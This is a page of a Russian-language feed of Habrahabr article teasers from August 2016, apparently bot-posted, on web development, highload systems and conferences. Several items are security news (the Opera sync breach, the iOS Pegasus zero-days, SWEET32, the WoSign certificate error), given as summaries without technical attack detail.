[1]: https://habrahabr.ru/post/308628/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Всему своё время
habra.16
habrabot(difrex,1) — All
2016-08-27 00:00:04


![image][1]



Банки.ру — проект с 10-летней историей. В разные времена [banki.ru][2] испытывали разные нагрузки. Портал перестраивался под новые требования как логически, так и технологически, что-то мы меняли в авральном режиме, что-то — эволюционным путём. Сейчас средняя посещаемость примерно 2 миллиона просмотра страниц, т.е. проект уже не маленький, но ещё и не совсем большой.



Эта статья — расшифровка доклада [Романа Ивлиева][3] (CIO Banki.ru) на обучающей конференции [HighLoad++ Junior][4], которая прошла пару месяцев назад в Москве в рамках фестиваля “Российские интернет-технологии”.



В этой статье мы хотим поговорить об оптимизации, её своевременности, и о субоптимизации, о том, что далеко не всегда лучшие практики разработки нагруженных систем идут на пользу бизнесу.



Посмотрим примеры и поищем ответы на вопросы:


1. Настолько ли ваш highload — highload?
2. Считать ли хабрэффект поводом для внедрения высоких технологий?
3. «Костыль» или «высокотехнологичное решение» — что выбрать? Плюсы и минусы.
4. Как выбрать момент для начала новой эры? Есть ли критерии, когда имеет смысл начинать оптимизировать ваше приложение и внедрять крутые штуки «по-взрослому».
5. Как можно использовать «список Бунина» для достижения очень неплохих показателей, и все ли пункты реально нужны вам?
6. Как работать с техническим долгом, чтобы он не зарастал мхом?

В заключение Роман Ивлиев расскажет про несколько примеров из жизни banki.ru в части замены технологических решений в области высоких нагрузок, и что из этого вышло.


[Читать дальше →][5]

[1]: https://habrastorage.org/getpro/habr/post_images/8bc/3f7/51f/8bc3f751f0172c7d7b86fab757a8c425.jpg
[2]: http://www.banki.ru/
[3]: http://junior.highload.ru/2016/author/1617
[4]: http://junior.highload.ru/
[5]: https://habrahabr.ru/post/308616/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Opera призывает своих пользователей сменить пароли
habra.16
habrabot(difrex,1) — All
2016-08-27 00:00:04


Opera [выпустила][1] уведомление безопасности, в котором призывает пользователей своего сервиса Opera sync как можно скорее сменить свои пароли аккаунтов. Сообщается, что один из серверов компании оказался скомпрометированным и злоумышленники получили доступ к информации аккаунтов, включая, логины и пароли пользователей (в зашифрованном виде). Для сброса пароля от аккаунта следует воспользоваться этой [ссылкой][2]

![][3]

> Earlier this week, we detected signs of an attack where access was gained to the Opera sync system. This attack was quickly blocked. Our investigations are ongoing, but we believe some data, including some of our sync users’ passwords and account information, such as login names, may have been compromised.[][4]

[1]: http://www.opera.com/blogs/security/2016/08/opera-server-breach-incident/
[2]: https://auth.opera.com/account/lost-password
[3]: https://habrastorage.org/files/a78/7d6/5df/a787d65df1ed46f7a8b82899948afe70.png
[4]: https://habrahabr.ru/post/308638/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Функциональная безопасность – старшая сестра информационной безопасности
habra.16
habrabot(difrex,1) — All
2016-08-27 00:30:04


![image][1]

Безопасности на хабре посвящен целый [хаб][2], и, пожалуй, никто особенно не задумывается, что именно вкладывается в понятие «безопасность», и так все ясно: информационная безопасность (security). Однако, есть еще и другая сторона безопасности, safety, связанная с рисками для здоровья и жизни людей, а также окружающей среды. Поскольку информационные технологии сами по себе опасности не представляют, то обычно говорят о функциональной составляющей, то есть о безопасности, связанной с правильным функционированием компьютерной системы. Если информационная безопасность стала критична с появлением интернета, то функциональная безопасность рассматривалась и до появления цифрового управления, ведь аварии происходили всегда. Информационной безопасности АСУ ТП посвящено немало статей на хабре. Функциональной безопасности авторы тоже касались, как в хабе по [SCADA][3], так и в хабе по [промышленному программированию АСУ ТП][4], но, как мне показалось, несколько вскользь. Поэтому я предлагаю короткую информацию об этом важном свойстве, от которого напрямую зависит, получит ли SkyNET контроль над человечеством.
В статье сделаны некоторые обобщения для АСУ ТП, а также для встроенных и кибер-физических систем.
[Читать дальше →][5]

[1]: https://habrastorage.org/files/6c1/10c/fb5/6c110cfb54dc4953be6f30133066438a.jpg
[2]: https://habrahabr.ru/hub/infosecurity/
[3]: https://habrahabr.ru/hub/scada/
[4]: https://habrahabr.ru/hub/industrial_control_system/
[5]: https://habrahabr.ru/post/308634/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Security Week 34: уязвимость в iOS, Powershell-троян, коллизии против 3DES и Blowfish
habra.16
habrabot(difrex,1) — All
2016-08-27 19:00:03


![][1]Уязвимости в iOS — это определенно главная [новость][2] недели. Вчера компания Apple выпустила срочный [апдейт][3] для своих мобильных устройств, и в этот раз, пожалуй, действительно надо быстрее обновиться. Уязвимость была обнаружена лабораторией Citizen Lab в Университете Торонто и компанией Lookout. На сайте Citizen Lab опубликован [подробный отчет][4], и пожалуй именно он делает событие особенно важным, так как дает важный контекст о том, как дыра эксплуатировалась до обнаружения. Это не так уж часто происходит.

Уязвимости CVE-2016-4655 и 4656 затрагивают ядро iOS: если первая может обеспечить утечку данных, то эксплуатация второй приводит к выполнению произвольного кода. Еще одна уязвимость ([CVE-2016-4657][5], хотя в [отчете][6] Lookout порядок нумерации другой) обнаружена в компоненте WebKit и также приводит к выполнению произвольного кода при посещении зараженного вебсайта. Все три уязвимости используются комплексно: сначала заражение через веб-сайт, потом джейлбрейк устройства, причем с использованием публично доступных джейлбрейк-компонентов (Cydia).

Расследование, закончившееся обнаружением уязвимостей, началось с подозрительных SMS со ссылками, которые гражданский активист Ахмед Мансур переслал в Citizen Lab. По клику на ссылку на телефон скрытно устанавливался шпионский модуль, который блокировал обновления устройства, и собирал данные из популярных мессенджеров, программ для общения в соцсетях и так далее. По мнению представителя Lookout, эта дыра могла использоваться начиная с 2013 года и версии iOS 7. Кроме того, в истории есть и политический подтекст: в Citizen Lab утверждают, что данный образец кибероружия был разработан одной из компаний, специализирующейся на продаже подобных систем государственным и правоохранительным органам. Впрочем с выпуском патчей информация об эксплойтах и методах атаки может начать использоваться более широко, посему повторюсь — стоит обновиться прямо сейчас.
[Читать дальше →][7]

[1]: https://habrastorage.org/files/712/87c/855/71287c8555564aa694c2292e421358e9.jpg
[2]: https://threatpost.com/emergency-ios-update-patches-zero-days-used-by-government-spyware/120158/
[3]: https://support.apple.com/en-us/HT207107
[4]: https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
[5]: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4657
[6]: https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf
[7]: https://habrahabr.ru/post/308618/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Разработка модулей FreePBX
habra.16
habrabot(difrex,1) — All
2016-08-28 12:30:03


![image][1]

**FreePBX** — это наиболее популярный web интерфейс для настройки серверов на базе Asterisk. FreePBX — это гибкая, модульная система. Предлагает богатый функционал по настройке станций. Самое приятное — это проект с открытым исходным кодом.



На практике, часто возникает необходимость решить уникальную задачу, для которой не достаточно типовых возможностей FreePBX.



В рамках статьи, я опишу возможности расширения функционала дополнительными модулями.
Опишу процесс разработки нового модуля…

[Читать дальше →][2]

[1]: https://habrastorage.org/files/7a8/958/765/7a8958765cd4438aa0fe37860a202c55.png
[2]: https://habrahabr.ru/post/308614/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Из песочницы] Scrapy: собираем данные и сохраняем в базу данных
habra.16
habrabot(difrex,1) — All
2016-08-28 12:30:03


### Введение


Меня заинтересовал данный [фреймворк][1] для сбора информации с сайтов. Здесь были публикации по Scrapy, но поскольку детальной информации на русском языке мало, то я хотел бы рассказать о своем опыте.
[Читать дальше →][2]

[1]: http://scrapy.org/
[2]: https://habrahabr.ru/post/308660/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] О фреймворках
habra.16
habrabot(difrex,1) — All
2016-08-28 22:30:04


![Роман Ивлиев][1]



В сегодняшней статье поговорим о неотъемлемой составляющей большого числа современных веб-проектов — о фреймворках.



Роман Ивлиев на примере множества проектов портала banki.ru, а также заказной разработки в студии крупных проектов Онтико. Рассмотрим следующие темы и поищем ответы на вопросы:


1. Что такое фреймворк, и зачем их пишут.
2. Почему для некоторых языков их десятки, а для некоторых — единицы.
3. В чём плюсы и минусы применения.
4. Наиболее распространённые мифы.
5. Использовать или нет — примеры из жизни.
6. Как выбрать из множества доступных вариантов, на что стоит обратить внимание.[Читать дальше →][2]

[1]: https://habrastorage.org/getpro/habr/post_images/cbf/e5d/9a8/cbfe5d9a8e66df40296f1bfbfda46567.jpg
[2]: https://habrahabr.ru/post/308644/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Как мы делали мониторинг запросов mongodb
habra.16
habrabot(difrex,1) — All
2016-08-28 22:30:04




Использование монги в production — достаточно спорная тема.
С одной стороный все просто и удобно: положили данные, настроили репликацию, понимаем как шардировать базу при росте объема данных. С другой стороны существует достаточно много [страшилок][1], Aphyr в своем последнем [jepsen тесте][2] сделал не очень позитивные выводы.



По факту оказывается, что есть достаточно много проектов, где mongo является основным хранилищем данных, и нас часто спрашивали про поддержку mongodb в окметр. Мы долго тянули с этой задачей, потому что сделать "осмысленный" мониторинг на порядок сложнее, чем просто собрать какие-то метрики и настроить какие-нибудь алерты. Нужно сначала разобраться в особенностях поведения софта, чтобы понять, какие именно показатели отслеживать.



Как раз про сложности и проблемы я и хочу рассказать на примере реализации мониторинга запросов к mongodb.

[Читать дальше →][3]

[1]: https://habrahabr.ru/post/231213/
[2]: https://aphyr.com/posts/322-jepsen-mongodb-stale-reads
[3]: https://habrahabr.ru/post/308328/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Почему компании так упорно хотят иметь Fullstack разработчиков?
habra.16
habrabot(difrex,1) — All
2016-08-29 00:00:04


![image][1]


Здесь уже написано множество статей о том, кто такой Fullstack, в чем его плюсы и минусы, в каких проектах есть смысл нанимать таких разработчиков, а где — нет. Я буду исходить из мысли, что вы понимаете, что такое Fullstack и с чем его едят.

Мысль, которую я хотел бы выразить заключается в следующем — «Почему, даже большие аутсорсинговые и продуктовые компании, хотят нанимать Fullstack и/или развивать своих сотрудников в этом направлении?».
[Читать дальше →][2]

[1]: https://habrastorage.org/getpro/habr/post_images/f0e/173/d40/f0e173d40d0b82d1fa171720e63100a9.jpg
[2]: https://habrahabr.ru/post/308686/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Векторные вычисления в JS, есть ли смысл, когда и как можно использовать SIMD в браузере
habra.16
habrabot(difrex,1) — All
2016-08-29 02:30:05


Все больше и больше область применения языка программирования javascript отходит от движения кнопочками в браузере да перекраски фона в сторону сложных и объемных веб-приложений. Уже во всю по миру шагает технология WebGL, позволяющая отображать трехмерные сцены в браузере прямо на языке js, а вместе с ней и усложняются задачи.



Производительность пользовательских машин продолжает расти, а вместе с ней и язык обзаводится новыми выразительными средствами, позволяющими ускорять вычисления. И пока WebAssembly где-то там в далеком и светлом будущем, asm.js застрял в болоте и свернул с пути, в ближайшее время изначально как часть es2015, ныне как отдельный стандарт выходит поддержка векторных операций в JS.



Все, кому интересно, что такое SIMD и векторные исчисления, как ими пользоваться в js, а так же что дает их использование — прошу под кат.


[Читать дальше →][1]

[1]: https://habrahabr.ru/post/308696/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Как штатными настройками убить микроконтроллер
habra.16
habrabot(difrex,1) — All
2016-08-29 11:30:04


![enter image description here][1]



Не могу назвать себя очень аккуратным и внимательным человеком, но тем не менее, за более чем 10 лет разработки ПО для встраиваемых устройств мне толком не удалось ничего сжечь или испортить. С одной стороны, стоит за это сказать "спасибо" моим коллегам — схемотехникам. С другой стороны, современная "умная" микроэлектроника имеет достаточно серьезную "защиту от дурака". Но пару дней назад произошел один интересный случай. Мне удалось превратить в "кирпич" микроконтроллер Atmel SAMD21G18AU, выполняя обычные манипуляции, описанные в user manual.

[Читать дальше →][2]

[1]: https://habrastorage.org/files/776/388/305/7763883051724bd4a7b1441fb3a18d7d.jpg
[2]: https://habrahabr.ru/post/308596/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Как «моделируют будущее» в Университете ИТМО: от предсказания поведения толпы до анализа мнений в соцсетях
habra.16
habrabot(difrex,1) — All
2016-08-29 12:00:03


Можно ли предсказать поведение толпы? Ученые из Института наукоемких компьютерных технологий (НИИ НКТ) при Университете ИТМО взялись решить эту задачу. Они создали систему, моделирующую варианты развития событий в местах массового скопления людей, будь то стадион во время футбольного Чемпионата Мира или святые места в период массового паломничества.


#### От хаоса — к модели


Модель строится на основе особенностей толпы, таких, как социальная структура, и внешних факторов, — например, погодных условий или политической обстановки. Также задаются параметры территории, где происходит действо. В результате, ученые видят наглядную картину поведения людей в заданных условиях. Выглядит это примерно так:


[Читать дальше →][1]

[1]: https://habrahabr.ru/post/308694/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Перевод] OpenCV и обработка изображений
habra.16
habrabot(difrex,1) — All
2016-08-29 13:00:04


Доброе утро, дамы и господа. Внимательные читатели заметили, что на российском рынке вновь проклюнулись переводные книги на тему компьютерного зрения. Нас также не могла не заинтересовать следующая книга:

![][1]
Поскольку технологии компьютерного зрения в значительной степени завязаны и на Python, и на C++, мы подобрали статью с разбором проблемы и кодом на обоих языках. Кроме того, искренне надеемся, что девушка под катом вам понравится.
[Читать дальше →][2]

[1]: https://habrastorage.org/files/e29/93d/399/e2993d3990554b53af76379d3017ad9c.jpg
[2]: https://habrahabr.ru/post/308720/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Перевод] «Моя жизнь сквозь призму технологий...» — Стивен Вольфрам
habra.16
habrabot(difrex,1) — All
2016-08-29 15:30:05


_Сегодня День рождения создателя систем Mathematica и Wolfram|Alpha, а также языка Wolfram Language — Стивена Вольфрама. Мы надеемся, что перевод его речи в Музее компьютерной истории (Маунтин-Вью, Калифорния) будет интересным и полезным для вас. Вы узнаете множество неожиданных, удивительных фактов из долгой профессиональной и личной биографии Стивена._

![][1]
_Перевод поста Стивен Вольфрам (Stephen Wolfram) "[My Life in Technology—As Told at the Computer History Museum][2]".
Выражаю огромную благодарность [Полине Сологуб][3] за помощь в переводе и подготовке публикации_

----

Обычно меня интересует будущее. Однако и история, на мой взгляд, интересна и познавательна, и я много изучаю и ее тоже. Чаще всего это истории жизни других людей. Но [Музей компьютерной истории][4] просил меня рассказать сегодня о моей собственной жизни и о технологиях, которые я создал. Именно это я и собираюсь сделать.

Сейчас для меня наступило уникальное время — множество вещей, над которыми я работал на протяжении более чем 30 лет, начали приносить плоды.

В центре моего внимания находится [Wolfram Language][5] — новый вид языка, основанный на знаниях (в который встроено огромное количество знаний — как о вычислениях, так и о мире в целом). Wolfram Language максимально автоматизирован для того, чтобы путь от идеи до фактической реализации был максимально коротким.

Сегодня я хочу поговорить о том, как я шел к созданию системы [Mathematica][6] и [Wolfram|Alpha][7].

Мне придется много говорить о моей собственной истории: в основном о том, как я провел большую часть своей жизни, занимаясь наукой и технологией. Когда я оглядываюсь назад, многое из того, что случилось, кажется неизбежным и неумолимым. А кое-чего я и не ожидал.
[Читать дальше...][8]

[1]: https://habrastorage.org/files/d09/93f/e11/d0993fe11acd4b8393111806c525edab.png
[2]: http://blog.stephenwolfram.com/2016/04/my-life-in-technology-as-told-at-the-computer-history-museum/
[3]: https://vk.com/id65091763
[4]: http://www.computerhistory.org/
[5]: http://www.wolfram.com/language/
[6]: http://www.wolfram.com/mathematica/
[7]: http://www.wolframalpha.com/
[8]: https://habrahabr.ru/post/308728/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Опубликована программа Droidcon Moscow 2016
habra.16
habrabot(difrex,1) — All
2016-08-29 17:00:04


[![][1]][2]
Опубликована предварительная программа крупнейшей евразийской Android-конференции — ​[Droidcon][3], которая пройдет в Москве 22 сентября 2016 года уже в третий раз. Деловая программа будет разделена на четыре основных направления: Android, Firebase, VR и IoT.


##### **Android**


На секции **Android** будут рассмотрены два популярных архитектурных подхода: [Читать дальше →][4]

[1]: https://habrastorage.org/files/555/f52/4de/555f524de2c34c4b9cc724b240323ee1.png
[2]: http://droidcon.moscow/?utm_source=second_post&utm_medium=second_post&utm_campaign=habr
[3]: http://droidcon.moscow/?utm_source=second_post&utm_medium=second_post&utm_campaign=habr
[4]: https://habrahabr.ru/post/308748/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Атака SWEET32: Исследователи обнаружили новый способ взлома шифров 3DES и Blowfish
habra.16
habrabot(difrex,1) — All
2016-08-29 17:00:05


[![][1]][2]

Исследователи информационной безопасности Картикеян Баргаван (Karthikeyan Bhargavan) и Гаетан Лоран (Gaëtan Leuren) разработали атаку на шифры 3DES и Blowfish. Например, с ее помощью можно получить использующиеся для аутентификации cookie из зашифрованного 3DES HTTPS-трафика, а также восстанавливать имена пользователей и пароли из зашифрованного с помощью Blowfish трафика, передаваемого через VPN.

Атака, которая получила название SWEET32, посвящен отдельный [сайт][3], ее подробности и демо-видео исследователи планируют представить на конференции ACM Conference on Computer and Communications Security, которая в следующем месяце пройдет в Австрии. Мы собрали известную на данный момент информацию в своем материале. [Читать дальше →][4]

[1]: https://habrastorage.org/files/0fb/db6/e1c/0fbdb6e1cb9e401cba43656dbcd1a9d4.png
[2]: https://habrahabr.ru/company/pt/blog/308746/
[3]: https://sweet32.info/
[4]: https://habrahabr.ru/post/308746/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Жизнь проекта на production: советы по эксплуатации
habra.16
habrabot(difrex,1) — All
2016-08-29 18:30:05


![image][1]



Немаловажный пункт, который очень часто упускают из вида разработчики — это эксплуатация проекта. Как выбрать дата-центр? Как прогнозировать угрозы? Что может произойти на уровне фронтенда? Как балансировать фронтенд? Как мониторить? Как настраивать логи? Какие нужны метрики?



И ведь это только фронтенд, а есть ещё бекенд и база данных. Везде разные законы и логика. Подробнее об эксплуатации highload-проектов в докладе Николая Сивко (Head Hunter) с конференции HighLoad++ Junior.


[Читать дальше →][2]

[1]: https://habrastorage.org/getpro/habr/post_images/03c/cd4/d38/03ccd4d384871d043423adc7bd07677f.jpg
[2]: https://habrahabr.ru/post/308756/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] DisType: простое приложение для общения
habra.16
habrabot(difrex,1) — All
2016-08-29 19:00:03


Всем привет! Как я обещал в комментариях, заливаю на GitHub свои программы. Начну с DisType Pro. Репозиторий [тут][1], но перед тем как писать о том, что я хочу сделать и в чем мне нужна помощь, расскажу об истории этой программы:

![][2]
_DisType pro._
[Читать дальше →][3]

[1]: https://github.com/aacidov/DisTypePro-android
[2]: https://habrastorage.org/files/bd5/592/29a/bd559229a24140eb8b4efde9c1ad52ee.png
[3]: https://habrahabr.ru/post/308772/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Интервью с первым спикером Moscow Python
habra.16
habrabot(difrex,1) — All
2016-08-30 13:30:04


Организаторы [Moscow Python Conf][1] доверили[ мне][2] поиск докладчиков и составление программы конференции. А программу я обычно составляю так, чтобы самому было интересно сходить. Подготовка конференции – дело интересное. Когда еще представится возможность взять интервью у других интеровертов-разработчиков? Наш первый герой [Иван Цыганов][3] из [Positive Technologies][4]. На конференции он выступит с провокационным докладом, в котором расскажет, почему 100% покрытии тестами – это плохо. Интригу, конечно, никто раскрывать не будет. Но ведь опытного разработчика, который выступает на конференциях, много о чем можно спросить, не так ли? Например, зачем он вообще выступает на конференциях и почему ему спокойно на диване не лежится.
[Получить ответ на этот и другие провокационные вопросы][5]

[1]: https://conf.python.ru/
[2]: https://www.facebook.com/grigoryvp
[3]: https://twitter.com/Tsyganov_Ivan
[4]: https://www.ptsecurity.ru/
[5]: https://habrahabr.ru/post/308726/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Перевод] Когда «О» большое подводит
habra.16
habrabot(difrex,1) — All
2016-08-30 15:30:04


![][1]



"О" большое — это отличный инструмент. Он позволяет быстро выбрать подходящую структуру данных или алгоритм. Но иногда простой анализ "О" большого может обмануть нас, если не подумать хорошенько о влиянии константных множителей. Пример, который часто встречается при программировании на современных процессорах, связан с выбором структуры данных: массив, список или дерево.



### Память, медленная-медленная память



В начале 1980-х время, необходимое для получения данных из ОЗУ и время, необходимое для произведения вычислений с этими данными, были примерно одинаковым. Можно было использовать алгоритм, который случайно двигался по динамической памяти, собирая и обрабатывая данные. С тех пор процессоры стали производить вычисления в разы быстрее, от 100 до 1000 раз, чем получать данные из ОЗУ. Это значит, что пока процессор ждет данных из памяти, он простаивает сотни циклов, ничего не делая. Конечно, это было бы совсем глупо, поэтому современные процессоры содержат несколько уровней встроенного кэша. Каждый раз когда вы запрашиваете один фрагмент данных из памяти, дополнительные прилегающие фрагменты памяти будут записаны в кэш процессора. В итоге, при последовательном проходе по памяти можно получать к ней доступ почти настолько же быстро, насколько процессор может обрабатывать информацию, потому что куски памяти будут постоянно записываться в кэш L1. Если же двигаться по случайным адресам памяти, то зачастую кэш использовать не получится, и производительность может сильно пострадать. Если хотите узнать больше, то доклад [Майка Актона на CppCon][2] — это отличная отправная точка (и отлично проведенное время).

[Читать дальше →][3]

[1]: https://habrastorage.org/files/4a0/c6d/412/4a0c6d41220e4f0dab29886f2407df5b.png
[2]: https://www.youtube.com/watch?v=rX0ItVEVjHc
[3]: https://habrahabr.ru/post/308818/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Удостоверяющий центр из Китая по ошибке выдал пользователю SSL-сертификат для домена GitHub
habra.16
habrabot(difrex,1) — All
2016-08-30 16:30:03


[![][1]][2]

Китайский удостоверяющий центр WoSign, который специализируется на выдаче бесплатных SSL-сертификатов, по ошибке выдал дублирующие сертификаты для базовых [доменов Github][3] и Университета Центральной Флориды обычному пользователю.

Ошибку обнаружил один из студентов учебного заведения — по [словам][4] сотрудника Mozilla Джерваза Маркхама (Gervase Markham), описавшего эту историю, все случилось еще в апреле 2016 года, но известно об этом стало только сейчас. [Читать дальше →][5]

[1]: https://habrastorage.org/files/886/a03/6e0/886a036e0cc94ebd8ec0bb6f547f4fa2.JPG
[2]: https://habrahabr.ru/company/pt/blog/308824/
[3]: https://crt.sh/?id=29647048
[4]: https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/k9PBmyLCi8I
[5]: https://habrahabr.ru/post/308824/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Лекции Техносферы. Программирование на Perl (осень 2015)
habra.16
habrabot(difrex,1) — All
2016-08-30 17:00:03


![][1]

Сегодня мы предлагаем вам ознакомиться с одним из курсов Техносферы, который посвящён программированию на Perl. Этот курс открытый — на него может записаться любой студент или аспирант МГУ имени М.В. Ломоносова. Также в Техносфере есть еще несколько [открытых курсов][2], 1 сентября на них открывается запись. В этом семестре вас ждет приятное дополнение: они будут подкреплены методическим материалом, который будет содержать достаточно информации, чтобы по нему можно было вспомнить материал любой лекции и при необходимости более глубоко её изучить.

Цель курса «Программирование на Perl» — узнать возможности языка (его сильные и слабые стороны), научиться писать программные продукты на этом языке, научится быстро ориентироваться в чужом коде. Под катом находятся все лекции в формате видео и краткое описание к ним.
[Читать дальше →][3]

[1]: https://habrastorage.org/files/7af/b4c/cfe/7afb4ccfe90d448380d4b083a3a9c7fa.png
[2]: https://sphere.mail.ru/curriculum/program/elective/
[3]: https://habrahabr.ru/post/308826/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] На пути к простоте: как сложно она дается разработчикам
habra.16
habrabot(difrex,1) — All
2016-08-30 17:30:05


«Сила простоты» — эта фраза все чаще звучит в комнатах разработчиков [Macroscop][1] во время планирования версий. Сейчас мы как никогда сфокусированы на простоте продукта, включении в него только того, что реально нужно пользователям, и удалении всего мало востребованного.

Удивительно, но сделать продукт простым для пользователя очень сложно. Мы поняли это на собственном опыте, когда столкнулись с вопросами, на которые не нашли однозначного ответа:
• что важнее, простота или функциональность?
• до какой степени нужно и можно упрощать продукт?
• и на кого ориентироваться в конечном счете при внесении изменений?

_**Простота – это сложно**_
Конечно, нам всегда было ясно, что продукт надо делать простым для пользователя. Это подтверждается и здравым смыслом, и опытом успешных компаний из самых разных областей.

Посмотрите, например, на Dropbox. Однажды гендиректор Macroscop Артем Разумков пообщался с одним из создателей этого сервиса. Тот рассказал, что идея хранения файлов в облаке была известна давно, и для этого надо было нажать на кнопку только 1 раз – загрузить файл. То, что придумали они – это просто переход от одного нажатию к нулю нажатий: человек просто помещает файл в обычную папку, и он загружается в облако автоматически. Кнопку «загрузить» вообще не надо нажимать! Эта простая идея перехода от 1 нажатия к 0 нажатий позволила им взлететь до невероятных высот. Вот она сила простоты! [Читать дальше →][2]

[1]: http://macroscop.com/
[2]: https://habrahabr.ru/post/308796/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Let the Holy War begin: Java vs С++
habra.16
habrabot(difrex,1) — All
2016-08-30 18:00:04


![][1]

В преддверии Joker 2016 мы накатали [**пост про Java Performance**][2], который вызвал бурю эмоций у читателей. Дабы вбросить топлива в вентилятор и попытаться все-таки прийти к какому-то единому решению, мы решили привлечь экспертов из разных «лагерей»:

* **Дмитрий Нестерук**. Эксперт по .NET, С++ и инструментам разработки, автор курсов по технологиям и математике, квант.
* **Андрей Паньгин**. Ведущий программист компании Одноклассники, специализирующийся на высоконагруженных бэкендах. Знает JVM как свои пять пальцев, поскольку ранее на протяжении нескольких лет разрабатывал виртуальную машину HotSpot в Sun Microsystems и Oracle. Любит ассемблер и низкоуровневое системное программирование.
* **Владимир Ситников**. Десять лет работает над производительностью и масштабируемостью NetCracker OS — ПО, используемого операторами связи для автоматизации процессов управления сетью и сетевым оборудованием. Увлекается вопросами производительности Java и Oracle Database.
* **Олег Краснов**. CTO компании SEMrush и адепт ANSI C.
[Читать дальше →][3]

[1]: https://habrastorage.org/files/06d/55a/f28/06d55af2819b4959a8d520b5648c0e3c.jpg
[2]: https://habrahabr.ru/company/jugru/blog/307178/
[3]: https://habrahabr.ru/post/307180/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Ежегодная конференция разработчиков и пользователей свободного программного обеспечения OSDN Conference
habra.16
habrabot(difrex,1) — All
2016-08-30 22:30:04


Команда **[FlyElephant][1]** приглашает всех **17 сентября в Киев** принять участие в **[OSDN Conference 14.0][2]** — ежегодной конференции разработчиков и пользователей свободного программного обеспечения.

Основной темой мероприятия традиционно является практическое применение решений с открытым исходным кодом, включая облачные вычисления, DevOps, интернет вещей (IoT) и многое другое. К участию приглашаются все, заинтересованные в создании и использовании свободного ПО.

Актуальный список докладов доступен на сайте конференции. Участие в конференции — **бесплатное**.

Место проведения конференции — «Нивки Холл» по адресу пр. Победы, 84.

[Зарегистрироваться][3] или предложить свой доклад можно на сайте [osdn.org.ua][4]. [][5]

[1]: https://flyelephant.net/
[2]: http://osdn.org.ua/ru/
[3]: http://osdn.org.ua/ru/
[4]: http://osdn.org.ua/ru/
[5]: https://habrahabr.ru/post/308858/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

Pages: 1 ... 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ... 133